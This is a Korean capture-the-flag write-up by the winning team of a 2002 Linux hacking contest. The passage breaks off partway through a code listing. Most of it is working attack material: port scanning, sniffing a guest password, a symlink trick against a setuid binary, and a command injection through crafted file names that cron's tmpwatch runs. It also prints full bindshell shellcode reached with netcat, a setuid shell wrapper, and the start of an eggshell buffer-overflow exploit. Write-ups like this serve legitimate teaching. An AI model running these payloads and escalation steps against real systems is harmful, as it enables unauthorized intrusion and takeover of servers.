|
:::
다음은 이번 제 1회 Hacking The Linux Contest에서 1위를 차지한 nwsr
팀의 공격 보고서입니다. :::
1.
WarGame을 하기위한 환경구축.
(1).
네트웍 모니터링을 할수있어야 한다.
(2).
외부의 도스공격으로부터 자신을 방어할수 있어야 하겠죠..
2.
문제에 도전.
-대회가
시작되었습니다.!
|
대회
서버 IP ADDRESS : 211.215.55.247
*
취약점 힌트는 대회 진행 도중 업데이트 됩니다.
*
서버 내의 특정 권한을 얻은 자는 /bin/register 명령을
실행 시켜 고유 번호를 등록하여야 인정을 받을 수
있습니다.
|
대회가
시작되면서 주어진것은
<대회
서버 IP ADDRESS : 211.215.55.247>
딱
1가지 입니다.
이것을
본 참가자는 아마 이랬을 것입니다. -- 뭘 우짜라꼬...
첫번째
문제는 리모트 문제입니다.
|
-
대회 도중에 공개된 리모트 취약점에 대한 힌트들.
*
이번 대회에는 총 5개의 리모트 취약점이 준비되어 있습니다.
그
중 3개는 웹 상에서 이루어 지는 것이며, 한 개는 텔넷,
나머지 한 개는
특정
포트를 통하여 문제를 해결할 수 있습니다.
*
5개의 취약점 중 하나만 성공해도 로컬 접속 권한을 얻을
수 있습니다.
*
"첫 번재 리모트 어택 문제" 관련 힌트입니다.
[ 클릭 ]
구타는
211.215.55.247 서버에 자신의 개인 홈페이지를
운영하고
있었다. 그러던 어느날 구타는 자신의 홈페이지에도 메인
페이지에서
게시판의 글들을 미리볼 수 있는 기능을 넣고 싶어졌다.
여기
저기에서 php와 mysql에 대한 정보를 익혀 결국 미리보기
기능을
넣는
것에 성공한 구타는 흡족한 미소를 지었다.
하지만
그 미리보기 기능을 넣는 과정 도중 서버에 Remote Hole이
생겼다는
것을 구타는 알까? 힌트는 구타가 평소에 나모 웹에디터를
통하여
홈페이지를 수정한다는 점과 WS_FTP 프로그램을 이용하여
파일을
업로드
한다는 점이다.
*
"두 번째 리모트 어택 문제" 관련 힌트입니다.
- "8888번 포트에 비밀이 숨어있다!"
*
"세 번째 리모트 어택 문제" 관련 힌트입니다.
- [ httpd.conf ] --> 첨부 파일
참고.
*
"네 번째 리모트 어택 문제" 관련 힌트입니다.
- 음악 추천 폼에 긴 문자열을 입력해
보세요.
*
"다섯 번째 리모트 어택 문제" 관련 힌트입니다.
- chat 계정 접속 후 역시 긴 문자열을
닉네임으로..
|
자..
차근차근 시작해 볼까요..
힌트가
주어지기 전에 진행.
먼저
주어진 서버의 취약점을 파악하기 위하여 열린 포트를 확인 합니다.
|
[root@localhost
root]# nmap -v -sS -O 211.215.55.247
Starting
nmap V. 3.00 ( www.insecure.org/nmap/ )
Host
(211.215.55.247) appears to be up ... good.
Initiating
SYN Stealth Scan against (211.215.55.247)
Adding
open port 80/tcp
Adding
open port 1440/tcp
Adding
open port 3306/tcp
Adding
open port 111/tcp
Adding
open port 23/tcp
Adding
open port 8888/tcp
The
SYN Stealth Scan took 4 seconds to scan 1601 ports.
For
OSScan assuming that port 23 is open and port 1 is closed
and neither
are
firewalled
Interesting
ports on (211.215.55.247):
(The
1595 ports scanned but not shown below are in state:
closed)
Port
State Service
23/tcp
open telnet
80/tcp
open http
111/tcp
open sunrpc
1440/tcp
open eicon-slp
3306/tcp
open mysql
8888/tcp
open sun-answerbook
Remote
operating system guess: Linux Kernel 2.4.0 - 2.5.20
Uptime
0.097 days (since Sun Aug 18 12:45:25 2002)
TCP
Sequence Prediction: Class=random positive increments
Difficulty=3694222
(Good luck!)
IPID
Sequence Generation: All zeros
Nmap
run completed -- 1 IP address (1 host up) scanned in
10 seconds
|
이렇게
포트가 열린것을 확인했습니다.
다음은
해당 포트가 어떻게 응답을 하는지 확인을 합니다.
이때
네트웍으로 왔다갔다하는 패킷을 볼수 있도록 프로그램을 실행해 둡니다.
[root@localhost
root]# tcpdump -i ppp0 -X -s 0
tcpdump:
listening on ppp0
*
"두 번째 리모트 어택 문제" 관련 힌트입니다. - "8888번
포트에 비밀이 숨어있다!"
두번째
리모트 어택 문제에 도전을 해 보겠습니다.
http://211.215.55.247:8888
ID
: guest, PW : welcome..........................접속 완료!! 숨겨진
문자열을 찾아라!!
바로
나와버리네...
다른방법을
보겠습니다.
[test@localhost
test]$ nc 211.215.55.247 8888
접속
완료!! 숨겨진 문자열을 찾아라!!
[test@localhost
test]$
이때
tcpdump 된 내용을 보면...
|
[root@localhost
root]# tcpdump -i ppp0 -X -s 0
tcpdump:
listening on ppp0
14:28:28.901243
210.102.156.204.38525 > 211.215.55.247.8888: S
2601461655:2601461655(0)
win 5808 <mss 1452,sackOK,timestamp 258286103
0,nop,wscale
0> (DF)
0x0000
4500 003c 0580 4000 4006 ba3a d266 9ccc E..<..@.@..:.f..
0x0010
d3d7 37f7 967d 22b8 9b0f 2797 0000 0000 ..7..}"...'.....
0x0020
a002 16b0 0905 0000 0204 05ac 0402 080a ................
0x0030
0f65 2217 0000 0000 0103 0300 .e".........
14:28:28.929386
211.215.55.247.8888 > 210.102.156.204.38525: S
2894122521:2894122521(0)
ack 2601461656 win 5792 <mss 1412,sackOK,timestamp
618371
258286103,nop,wscale 0> (DF)
0x0000
4500 003c 0000 4000 3606 c9ba d3d7 37f7 E..<..@.6.....7.
0x0010
d266 9ccc 22b8 967d ac80 ce19 9b0f 2798 .f.."..}......'.
0x0020
a012 16a0 1f05 0000 0204 0584 0402 080a ................
0x0030
0009 6f83 0f65 2217 0103 0300 ..o..e".....
14:28:28.929406
210.102.156.204.38525 > 211.215.55.247.8888: . ack
1 win
5808
<nop,nop,timestamp 258286105 618371> (DF)
0x0000
4500 0034 0581 4000 4006 ba41 d266 9ccc E..4..@.@..A.f..
0x0010
d3d7 37f7 967d 22b8 9b0f 2798 ac80 ce1a ..7..}"...'.....
0x0020
8010 16b0 4d88 0000 0101 080a 0f65 2219 ....M........e".
0x0030
0009 6f83 ..o.
14:28:28.957471
211.215.55.247.8888 > 210.102.156.204.38525: P 1:88(87)
ack
1
win 5792 <nop,nop,timestamp 618373 258286105>
(DF)
0x0000
4500 008b a19f 4000 3606 27cc d3d7 37f7 E.....@.6.'...7.
0x0010
d266 9ccc 22b8 967d ac80 ce1a 9b0f 2798 .f.."..}......'.
0x0020
8018 16a0 660a 0000 0101 080a 0009 6f85 ....f.........o.
0x0030
0f65 2219 4944 203a 2067 7565 7374 2c20 .e".ID.:.guest,.
0x0040
5057 203a 2077 656c 636f 6d65 0808 0808 PW.:.welcome....
0x0050
0808 0808 0808 0808 0808 0808 0808 0808 ................
0x0060
0808 0808 0808 c1a2 bcd3 20bf cfb7 e121 ...............!
0x0070
2120 bcfb b0dc c1f8 20b9 aec0 dabf adc0 !...............
0x0080
bb20 c3a3 bec6 b6f3 2121 0a ........!!.
14:28:28.957482
210.102.156.204.38525 > 211.215.55.247.8888: . ack
88 win
5808
<nop,nop,timestamp 258286108 618373> (DF)
0x0000
4500 0034 0582 4000 4006 ba40 d266 9ccc E..4..@.@..@.f..
0x0010
d3d7 37f7 967d 22b8 9b0f 2798 ac80 ce71 ..7..}"...'....q
0x0020
8010 16b0 4d2c 0000 0101 080a 0f65 221c ....M,.......e".
0x0030
0009 6f85 ..o.
14:28:28.957708
211.215.55.247.8888 > 210.102.156.204.38525: F 88:88(0)
ack
1
win 5792 <nop,nop,timestamp 618373 258286105>
(DF)
0x0000
4500 0034 a1a0 4000 3606 2822 d3d7 37f7 E..4..@.6.("..7.
0x0010
d266 9ccc 22b8 967d ac80 ce71 9b0f 2798 .f.."..}...q..'.
0x0020
8011 16a0 4d3e 0000 0101 080a 0009 6f85 ....M>........o.
0x0030
0f65 2219 .e".
14:28:28.957837
210.102.156.204.38525 > 211.215.55.247.8888: F 1:1(0)
ack 89
win
5808 <nop,nop,timestamp 258286108 618373> (DF)
0x0000
4500 0034 0583 4000 4006 ba3f d266 9ccc E..4..@.@..?.f..
0x0010
d3d7 37f7 967d 22b8 9b0f 2798 ac80 ce72 ..7..}"...'....r
0x0020
8011 16b0 4d2a 0000 0101 080a 0f65 221c ....M*.......e".
0x0030
0009 6f85 ..o.
|
id
: guest, pw : welcome 입니다.
드디어
서버로 접속을 할수 있는 계정이 나왔네요.
|
-
대회 도중 공개된 로컬 취약점에 대한 힌트들.
*
walwal 권한은 기술이 아닌 머리를 써서 획득할 수 있습니다.^^
gdb 필요 없어요~
*
walwal 권한 획득의 힌트 - Group id가 walwal인 파일을
찾아보세요.!
|
|
telnet
211.215.55.247
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃
+ +
┃
┃
!!!!! HackerSchool Hacking Event !!!!! ┃
┃
+ +
┃
┃
"Hacking The Linux Server Festival" ┃
┃ ┃
┃
[ 타겟 서버에 접속하셨습니다. 좋은 결과 있길 바랍니다.^^
] ┃
┃
:: 아직 등록 신청을 하지 않으신 분은 해커스쿨 :: ┃
┃
:: 사이트를 통해 등록 하시면 됩니다.(공지 참조) :: +
┃
┃+
+
┃
┃
BBS 접속 ID : bbs <Enter> ┃
┃
+ 테스트 대화방 접속 : chat <Enter>
┃
┃
+ ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
login:
guest
Password:
|
드디어
섭으로 들어 왔습니다.
뭘해야
할것인가를 또 찾아야죠..
자신의
디렉에 뭔가의 힌트가 있는지 확인을 합니다.
bash2-2.05a$
ls -al
음...
아무것도 없군요...
다음은
자신의 id를 확인하고 다음 레벨로 진입할 계정을 확인합니다.
|
bash2-2.05a$
id
uid=1009(guest)
gid=1009(guest) groups=1009(guest)
bash2-2.05a$
cat /etc/passwd
############################################################
#
Hacking Festival Accounts #
############################################################
walwal:x:1000:1000::/home/walwal:/bin/bash
guta:x:1001:1001::/home/guta:/bin/bash
mungmung:x:1002:1002::/home/mungmung:/bin/bash
wizard:x:1003:1003::/home/wizard:/bin/bash
crypt:x:1004:1004::/home/crypt:/bin/bash
chat:x:1006:1006::/home/chat:/home/chat/curchat
guest:x:1009:1009::/home/guest:/bin/bash2
walwal
계정의 화일을 찾아보겠습니다.
bash2-2.05a$
find / -user walwal 2>/dev/null
/var/spool/mail/walwal
/etc/sysconfig/network-scripts/.hidden/GUTAPASSWD.TXT
/bin/SolveMe/HackTheNose.txt
/bin/SolveMe/walwal
/home/walwal
|
이런
파일이 나왔군요.
|
bash2-2.05a$
ls /bin/SolveMe/walwal -l
-rwsr-sr-x
1 walwal walwal 14122 Aug 16 08:38 /bin/SolveMe/walwal*
bash2-2.05a$
ls /bin/SolveMe/ -la
total
28
drwxr-xr-x
2 root root 4096 Aug 16 08:42 ./
drwxr-xr-x
3 root root 4096 Aug 16 21:31 ../
-rw-r-----
1 root walwal 143 Aug 16 08:38 HackTheNose.txt
-rwsr-sr-x
1 walwal walwal 14122 Aug 16 08:38 walwal*
|
분석을
해보겠습니다.
|
bash2-2.05a$
objdump -s /bin/SolveMe/walwal
Contents
of section .fini:
8048600
5589e553 52e80000 00005b81 c3221100 U..SR.....[.."..
8048610
008d7600 e857feff ff8b5dfc c9c3 ..v..W....]...
Contents
of section .rodata:
8048620
03000000 01000200 72002e2f 4861636b ........r../Hack
8048630
5468654e 6f73652e 74787400 257300 TheNose.txt.%s.
Contents
of section .data:
8049640
00000000 00000000 28970408 00000000 ........(.......
bash2-2.05a$
objdump -x /bin/SolveMe/walwal
08048364
g F .init 00000000 _init
0804839c
F *UND* 00000270 malloc@@GLIBC_2.0
080483ac
w F *UND* 00000025
__deregister_frame_info@@GLIBC_2.0
08048420
g F .text 00000000 _start
080483bc
F *UND* 00000140 fgets@@GLIBC_2.0
08049760
g O *ABS* 00000000 __bss_start
08048520
g F .text 000000a0 main
080483cc
F *UND* 000000d3 __libc_start_main@@GLIBC_2.0
08049640
w .data 00000000 data_start
080483dc
F *UND* 00000032 printf@@GLIBC_2.0
08048600
g F .fini 00000000 _fini
080483ec
F *UND* 00000189 fclose@@GLIBC_2.1
08049760
g O *ABS* 00000000 _edata
0804972c
g O .got 00000000 _GLOBAL_OFFSET_TABLE_
08049778
g O *ABS* 00000000 _end
080483fc
F *UND* 000000a0 fopen@@GLIBC_2.1
08048624
g O .rodata 00000004 _IO_stdin_used
0804840c
F *UND* 0000002d sprintf@@GLIBC_2.0
08049640
g .data 00000000 __data_start
00000000
w *UND* 00000000 __gmon_start__
bash2-2.05a$
gdb /bin/SolveMe/walwal
(gdb)
disas main
Dump
of assembler code for function main:
int
main(int char, char *argv[])
{
0x8048520
<main>: push %ebp
0x8048521
<main+1>: mov %esp,%ebp
0x8048523
<main+3>: sub $0x18,%esp
fff8
= malloc(100);
0x8048526
<main+6>: sub $0xc,%esp
0x8048529
<main+9>: push $0x64
0x804852b
<main+11>: call 0x804839c <malloc>
0x8048530
<main+16>: add $0x10,%esp
0x8048533
<main+19>: mov %eax,%eax
0x8048535
<main+21>: mov %eax,0xfffffff8(%ebp)
fff4
= malloc(0x7a69);
0x8048538
<main+24>: sub $0xc,%esp
0x804853b
<main+27>: push $0x7a69
0x8048540
<main+32>: call 0x804839c <malloc>
0x8048545
<main+37>: add $0x10,%esp
0x8048548
<main+40>: mov %eax,%eax
0x804854a
<main+42>: mov %eax,0xfffffff4(%ebp)
fffc
= fopen("./HackTheNose.txt", "r");
0x804854d
<main+45>: sub $0x8,%esp
0x8048550
<main+48>: push $0x8048628
0x8048555
<main+53>: push $0x804862a
0x804855a
<main+58>: call 0x80483fc <fopen>
0x804855f
<main+63>: add $0x10,%esp
0x8048562
<main+66>: mov %eax,%eax
0x8048564
<main+68>: mov %eax,0xfffffffc(%ebp)
0x8048567
<main+71>: nop
if
(fgets(fff8, 100, fffc)!=0) {
0x8048568
<main+72>: sub $0x4,%esp
0x804856b
<main+75>: pushl 0xfffffffc(%ebp)
0x804856e
<main+78>: push $0x64
0x8048570
<main+80>: pushl 0xfffffff8(%ebp)
0x8048573
<main+83>: call 0x80483bc <fgets>
0x8048578
<main+88>: add $0x10,%esp
0x804857b
<main+91>: mov %eax,%eax
0x804857d
<main+93>: test %eax,%eax
0x804857f
<main+95>: jne 0x8048584 <main+100>
0x8048581
<main+97>: jmp 0x80485b0 <main+144>
0x8048583
<main+99>: nop
sprintf(fff4,
"%s", fff8);
0x8048584
<main+100>: sub $0x4,%esp
0x8048587
<main+103>: pushl 0xfffffff8(%ebp)
0x804858a
<main+106>: push $0x804863c
0x804858f
<main+111>: pushl 0xfffffff4(%ebp)
0x8048592
<main+114>: call 0x804840c <sprintf>
0x8048597
<main+119>: add $0x10,%esp
printf("%s",
fff8);
0x804859a
<main+122>: sub $0x8,%esp
0x804859d
<main+125>: pushl 0xfffffff8(%ebp)
0x80485a0
<main+128>: push $0x804863c
0x80485a5
<main+133>: call 0x80483dc <printf>
0x80485aa
<main+138>: add $0x10,%esp
0x80485ad
<main+141>: jmp 0x8048568 <main+72>
0x80485af
<main+143>: nop
}
fclose(fffc);
0x80485b0
<main+144>: sub $0xc,%esp
0x80485b3
<main+147>: pushl 0xfffffffc(%ebp)
0x80485b6
<main+150>: call 0x80483ec <fclose>
0x80485bb
<main+155>: add $0x10,%esp
}
0x80485be
<main+158>: leave
0x80485bf
<main+159>: ret
|
이렇게
분석을 해보면
fffc
= fopen("./HackTheNose.txt", "r"); 이런 코드가
나온다.
따라서
현재 디렉에 "HackTheNose.txt" 이 파일을 읽어서 출력해준다는
것을 알수 있다.
그러므로
|
bash2-2.05a$
ln -s /bin/SolveMe/HackTheNose.txt HackTheNose.txt 로하고
bash2-2.05a$
/bin/SolveMe/walwal ./HackTheNose.txt
구타
: 아씨~ 이게 뭐야 어떻게 하라는거야!
멍멍
: 생각보다 쉬울껄?
구타
: 뭐야뭐야 이거 힙오버플로우야? 나 그거 못해!
멍멍
: 머리 뒀다 뭐하니~
|
그런데
그 화일에는 내가원하는 내용이 없다 그렇다면
|
bash2-2.05a$
find / -group walwal
/etc/sysconfig/network-scripts/.hidden/WALWALPASSWD.TXT
|
이곳에
있을 거라 추측하고 이파일에 링크걸었다
bash2-2.05a$
ln -s /etc/sysconfig/network-scripts/.hidden/WALWALPASSWD.TXT HackTheNose.txt
그리고는
bash2-2.05a$
/bin/SolveMe/walwal ./HackTheNose.txt
마징가
빙고~~~
답이 나왔다.
[guta@localhost
guta]$ id
uid=1000(walwal)
gid=1000(walwal) groups=1000(walwal)
[guta@localhost
guta]$
walwal
권한을 획득!!
|
-
대회 도중 공개된 guta 권한 획득 힌트들.
*
guta 권한 획득 관련 힌트입니다. [ 클릭 ]
*
guta 권한 획득 관련 힌트2 - 시간을 cron에 맞추지 마시고,
파일에 맞춰보세요.
그럼
1시간 기다릴 필요가 없겠죠..?
*
guta 권한 획득 관련 힌트3 - 현재 설치된 tmpwatch의 소스
코드입니다. [ 클릭 ]
*
guta 권한 획득 관련 힌트4 - system() 함수의 사용은 매우
위험합니다.
위
소스 코드에서 system() 함수가 사용된 부분을 잘 보세요..
|
|
[walwal@localhost
walwal]$ ls -al
total
28
-rw-r--r--
1 root root 77 Aug 17 15:56 hint
drwx-wxrwx
11 root walwal 4096 Aug 18 17:29 movie/
[walwal@localhost
walwal]$ cat hint
힌트는
웹에 공개되어 있습니다.^^
http://www.hackerschool.org/event/hint.html
|
오잉...
웹에...
|
[힌트]
*
guta 권한 획득 관련 힌트입니다. [ 클릭 ]
어느날
구타는 자꾸 계정을 만들어 달라고 조르는 왈왈이에게
walwal이라는
계정을 만들어 주었다. 그런데 몇일이 지난 후
구타는
서버의 하드 용량이 꽉 차 있는 것을 발견하였다.
서버를
조사해 본 구타는 이놈의 왈왈이가 /home/walwal/movie/
디렉토리에
요샹한 동영상들을 왕창 올려 놓은 사실을
알게되었다.
구타는 즉시 모든 파일들을 삭제 했지만, 발정난
왈왈이는
어느새 또 다시 동영상들을 모아 올려놓곤 하였다.
몇번의
반복 끝에 짜증이 난 구타는 tmpwatch라는 프로그램을
이용하면
특정 디렉토리의 파일을 자동으로 정리할 수 있다는
정보를
입수. 검색 엔진을 통해 tmpwatch 프로그램을 받아 설치하였다.
그리고
tmpwatch가 자동으로 작동하게 하기 위하여 crontab에
다음과
같이 등록을 하였다.
PATH=/usr/bin:/bin:/tmp
*
* * * * /usr/sbin/tmpwatch -m --fuser -f 1 /home/walwal/movie/
이제
왈왈이와의 신경전에서의 승리를 확실한 구타는 tmpwatch는
참
고마운 프로그램이다 라고 생각하며 편하게 잠이 들었다.
|
이문제는
tmpwatch 문제이다.
tmpwatch
취약점은 다음 첨부 파일을 참고하세요.
여기서
crontab에 등록된 tmpwatch는 어떤 역할을 하는지 살펴보겠습니다.
|
[walwal@localhost
walwal]$ cd movie
[walwal@localhost
walwal]$ cat > f1 <-- 테스트 할 파일을 하나 만들고.
[walwal@localhost
movie]$ date
Sat
Aug 17 23:32:43 EDT 2002
[walwal@localhost
movie]$ touch 08172235 "\";cp f1 f2\""
|
이렇게
해놓고 movie 디렉을 한번 보자.
그런데
처음에는 디렉을 볼수 있었는데 관리자가 막아버렸다.
drwx-wxrwx
11 root walwal 4096 Aug 18 17:29 movie/
여기서
권한을 보면 groop(walwal)만 볼수 없도록 설정된것을 알수있다.
그래서
이전의 계정(guest)으로 들어가면 볼수 있다.
|
[walwal@localhost
movie]$ su guest
Password:
[guest@localhost
movie]$ ls -al
total
64
-rw-rw-r--
1 walwal walwal 0 Aug 18 16:40 ";cp f1 f2"
-rw-rw-r--
1 walwal walwal 5 Aug 18 17:38 f1
-rw-r--r--
1 guta guta 5 Aug 18 17:40 f2
|
이렇게
실행된것을 확인할수 있다.
그렇다면...
|
PATH=/usr/bin:/bin:/tmp
*
* * * * /usr/sbin/tmpwatch -m --fuser -f 1 /home/walwal/movie/
|
crontab에
설정된 PATH를 보면 /tmp 디렉을 사용하도록 설정이 되어 있다.
그런데
/tmp의 퍼밋션이 아래와 같이 되어 있다.
drwxrwx-wt
128 root root 8192 Aug 18 17:41 tmp
따라서
프로그램을 실행할수 있는 방법이 여러가지가 있지만
다음의
바인드쉘을 띄워보겠습니다.
|
char
shellcode[] = /* Taeho Oh bindshell code at port 30464
*/
"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0\x31"
"\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06\x89\x46"
"\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0"
"\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31\xc0\x89\x46\x10"
"\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80\xeb\x04\xeb\x55\xeb"
"\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x89\x46"
"\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd\x80\x88\xc3\xb0\x3f\x31\xc9"
"\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f"
"\x62\x69\x6e\x89\x06\xb8\x2f\x73\x68\x2f\x89\x46\x04\x31\xc0\x88"
"\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"
"\x56\x0c\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff"
"\xff";
main()
{
__asm__("
movl $shellcode,4(%ebp)");
}
|
이것을
컴파일 하여 hwa라는 실행파일을 만들어 놓습니다.
|
[walwal@localhost
NWSR]$ ls -al
total
24
drwxrwxr-x
2 walwal walwal 4096 Aug 17 23:30 ./
drwxrwx-wt
52 root root 4096 Aug 17 23:31 ../
-rwxrwxr-x
1 walwal walwal 13614 Aug 17 23:30 hwa*
[walwal@localhost
NWSR]$ cd ..
[walwal@localhost
tmp]$ ln -s /tmp/NWSR/hwa hwa -f
[walwal@localhost
tmp]$ cd ~
[walwal@localhost
walwal]$ cd movie
[walwal@localhost
movie]$ date
Sat
Aug 17 23:32:43 EDT 2002
[walwal@localhost
movie]$ touch 08172235 "\";hwa\""
<-- 약 1시간 이전의 파일로 만들어 놓는다.
|
리모터에서
바인드쉘이 동작을 했는가 확인한다.
|
[root@localhost
root]# nc 211.215.55.247 30464
id
uid=1001(guta)
gid=1001(guta) groups=1001(guta) <-- 바인드쉘로 guta의
권한을 얻었다.
ls
-al
total
64
-rw-rw-r--
1 walwal walwal 0 Aug 17 2002 ";chmod 644 asd"
-rw-rw-r--
1 walwal walwal 0 Aug 17 16:40 ";cp f1 f2"
-rw-rw-r--
1 walwal walwal 0 Aug 17 16:58 ";hwa"
-rw-rw-r--
1 walwal walwal 5 Aug 17 17:38 f1
-rw-r--r--
1 guta guta 5 Aug 17 17:58 f2
|
로컬로
돌아와서..
|
[walwal@localhost
movie]$ cat > gta.c
#include
<stdio.h>
#include
<unistd.h>
#include
<sys/types.h>
main()
{
setreuid(1001,1001);
setregid(1001,1001);
system("/bin/sh");
}
|
리모터로
작업을 하기가 불편하기 때문에 Local의 권한을 획득하기 위하여
간단한
쉘을 만든다.
이것을
리모터에서 컴파일 한다.
|
cd
/tmp/NWSR
gcc
gta.c -o gta
ls
-al
total
48
drwxrwxrwx
2 guest guest 4096 Aug 18 00:36 .
drwxrwx-wt
138 root root 8192 Aug 18 00:29 ..
-rwxrwxr-x
1 walwal walwal 13648 Aug 18 00:17 hwa
-rwxr-xr-x
1 guta guta 13738 Aug 18 00:36 gta
-rw-rw-r--
1 walwal walwal 142 Aug 18 00:34 gta.c
chmod
6755 gta
ls
total
48
drwxrwxrwx
2 guest guest 4096 Aug 18 00:36 .
drwxrwx-wt
138 root root 8192 Aug 18 00:29 ..
-rwxrwxr-x
1 walwal walwal 13648 Aug 18 00:17 hwa
-rwsr-sr-x
1 guta guta 13738 Aug 18 00:36 gta
-rw-rw-r--
1 walwal walwal 142 Aug 18 00:34 gta.c
cd
SolveMe
ls
-al
total
28
drwxr-x---
2 root guta 4096 Aug 16 19:26 .
drwxr-x---
3 root guta 4096 Aug 16 19:26 ..
-r-s--sr-x
1 mungmung mungmung 18124 Aug 16 18:37 student
|
다시
Local로 돌아와서...
|
[walwal@localhost
NWSR]$ ls -al
total
48
drwxrwxrwx
2 guest guest 4096 Aug 18 00:36 ./
drwxrwx-wt
138 root root 8192 Aug 18 00:29 ../
-rwxrwxr-x
1 walwal walwal 13648 Aug 18 00:17 hwa*
-rwsr-sr-x
1 guta guta 13738 Aug 18 00:36 gta*
-rw-rw-r--
1 walwal walwal 142 Aug 18 00:34 gta.c
[walwal@localhost
NWSR]$ ./gta
sh-2.05a$
id
uid=1001(guta)
gid=1001(guta) groups=1000(walwal)
|
드디어
Local에서 guta의 권한을 획득했다.
|
-
대회 도중 공개된 mungmung 권한 획득 힌트.
*
mungmung 권한 획득 관련 힌트입니다. [ student.c ]
|
|
sh-2.05a$
cd /home/guta
sh-2.05a$
ls -al
total
24
drwxr-x---
2 root guta 4096 Aug 16 19:26 SolveMe
sh-2.05a$
cd SolveMe
sh-2.05a$
ls -al
total
28
-r-s--sr-x
1 mungmung mungmung 18124 Aug 16 18:37 student
sh-2.05a$
objdump -x student
08048dac
g F .text 000000b3 search_list
08048418
F *UND* 0000030a system@@GLIBC_2.0
08048eec
g F .text 00000069 clean_list
080483c0
g F .init 00000000 _init
08048428
F *UND* 00000270 malloc@@GLIBC_2.0
08048438
F *UND* 00000034 scanf@@GLIBC_2.0
08048448
w F *UND* 00000025
__deregister_frame_info@@GLIBC_2.0
0804a5e4
g O .bss 00000004 tail
0804a5e8
g O .bss 00000004 head
08048d10
g F .text 00000063 create_list
080484b0
g F .text 00000000 _start
08048458
F *UND* 000000af strlen@@GLIBC_2.0
0804a5cc
g O *ABS* 00000000 __bss_start
080485b0
g F .text 0000075e main
08048468
F *UND* 000000d3 __libc_start_main@@GLIBC_2.0
0804a4a0
w .data 00000000 data_start
08048478
F *UND* 00000032 printf@@GLIBC_2.0
08048fa0
g F .fini 00000000 _fini
08048488
F *UND* 00000027 memcpy@@GLIBC_2.0
0804a5cc
g O *ABS* 00000000 _edata
08048d74
g F .text 00000038 insert_list
0804a58c
g O .got 00000000 _GLOBAL_OFFSET_TABLE_
08048498
F *UND* 000000f4 free@@GLIBC_2.0
0804a5ec
g O *ABS* 00000000 _end
08048fc4
g O .rodata 00000004 _IO_stdin_used
0804a4a0
g .data 00000000 __data_start
00000000
w *UND* 00000000 __gmon_start__
sh-2.05a$
objdump -s student
Contents
of section .fini:
8048fa0
5589e553 52e80000 00005b81 c3e21500 U..SR.....[.....
8048fb0
008d7600 e847f5ff ff8b5dfc c9c3 ..v..G....]...
Contents
of section .rodata:
8048fc0
03000000 01000200 00000000 00000000 ................
8048fd0
00000000 00000000 00000000 00000000 ................
8048fe0
2f757372 2f62696e 2f636c65 61720000 /usr/bin/clear..
8048ff0
00000000 00000000 00000000 00000000 ................
8049000
0a2d20bc bac0fbc7 a5202d2d 2d2d2d2d .- ...... ------
8049110
b4cfb1ee 3f0a3e20 00257300 00000000 ....?.> .%s.....
8049120
b0e6b0ed 21205374 61636b20 6f766572 ....! Stack over
8049130
666c6f77 20b0a120 bdc3b5b5 b5c7befa flow .. ........
8049460
c7d220c7 d0bbfdc0 c720b9f8 c8a3b4c2 .. ...... ......
8049470
20b9abbe f9c0d4b4 cfb1ee3f 0a3e2000 ..........?.>
.
8049480
0a0a000a 00000000 cdcca841 00000000 ...........A....
8049490
00000000 00000000 00000000 00000000 ................
|
바로
삽질 시작...
|
sh-2.05a$
ln -s /home/guta/SolveMe/student student
sh-2.05a$
./student
-
성적표 --------------------
현재
0 명의 학생 정보가 있습니다.
1.
학생 성적 입력하기
2.
이름으로 학생 찾아보기
3.
번호로 학생 찾아보기
4.
모든 학생의 정보 보기
5.
끝내기
선택하세요>
5
프로그램을
종료합니다.
sh-2.05a$
(perl -e 'print "1\n","i"x256')|./student
-
성적표 --------------------
현재
0 명의 학생 정보가 있습니다.
1.
학생 성적 입력하기
2.
이름으로 학생 찾아보기
3.
번호로 학생 찾아보기
4.
모든 학생의 정보 보기
5.
끝내기
선택하세요>
새로운
학생을 등록합니다.
학생의
이름은 무엇입니까?
>경고!
Stack overflow 가 시도되었습니다.
보안상의
문제로 종료합니다.
Segmentation
fault
sh-2.05a$
|
에그쉘
작성.
|
sh-2.05a$
cat > egg.c
#include
<stdio.h>
#include
<stdlib.h>
#include
<unistd.h>
#include
<string.h>
#define
DEFAULT_EGG_SIZE 1024
#define
NOP 0x90
char
shellcode[]=
"\x31\xc0"
/* xor %eax,%eax */
"\xb0\xea"
/* mov $0xea,%al */
"\xb4\x03"
/* mov $0x3,%ah */
"\x89\xc3"
/* mov %eax,%ebx */
"\x89\xd9"
/* mov %ebx,%ecx */
"\x31\xc0"
/* xor %eax,%eax */
"\xb0\x46"
/* mov $0x46,%al */
"\xcd\x80"
/* int $0x80 */
"\x31\xc0"
/* xor %eax,%eax */
"\xb0\xea"
/* mov $0xea,%al */
"\xb4\x03"
/* mov $0x3,%ah */
"\x89\xc3"
/* mov %eax,%ebx */
"\x89\xd9"
/* mov %ebx,%ecx */
"\x31\xc0"
/* xor %eax,%eax */
"\xb0\x47"
/* mov $0x47,%al */
"\xcd\x80"
/* int $0x80 */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int
main(int argc, char *argv[])
{
char
*buff, *ptr, *egg;
int
*aptr, addr, i;
int
esize=DEFAULT_EGG_SIZE;
if
(!(egg = malloc(esize))) { // Egg Shell용 Buffer
printf("Can't
allocate memory.\n");
exit(0);
}
ptr
= egg; // Egg Shell을 만듬
for
